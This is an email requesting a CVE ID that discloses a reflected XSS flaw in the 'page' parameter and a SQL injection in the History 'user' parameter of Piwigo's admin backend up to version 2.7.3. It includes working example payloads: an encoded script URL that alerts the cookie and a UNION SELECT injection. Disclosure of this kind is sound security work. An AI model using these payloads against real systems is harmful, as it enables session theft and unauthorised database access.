Subject: CVE-Request -- Piwigo <= v. 2.7.3 -- Reflecting XSS- and
 SQLi-vulnerability in administrative backend

Hi Steve, Josh, vendors, list.

I found a reflecting XSS- and a SQL injection-vulnerability in the
administrative backend of Piwigo <= v. 2.7.3.

The reflecting XSS vulnerability resides in the "page" parameter used in
the file admin.php which can be found in the administrative backend located
here in a common Piwigo installation:

http://{TARGET}/admin.php?page=plugin-AdminTools

Exploit-Example:

http://
{TARGET}/admin.php?page=plugin-AdminTools%3Cimg%20src=n%20onerror=eval%28String.fromCharCode%2897,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59%29%29%20%3E

The SQL injection vulnerability can as well be found in the administrative
backend and can be found in the "History" functionality located here:

http://{TARGET}/admin.php?page=history

The SQL injection vulnerability can be exploited by appending arbitrary SQL
statements in a POST request to the parameter "user":

Exploit-Example:

POST /piwigo/admin.php?page=history HTTP/1.1

AND 1=2 UNION SELECT user(),database(),3,version(),5,6,7,8,9 --
&image_id=&filename=&ip=&display_thumbnail=no_display_thumbnail&submit=Submit

The issue has been fixed in version 2.7.4, released on 17th February 2015.

Can I have a CVE-ID for it?

Thank you very much.

Greetings from Germany.
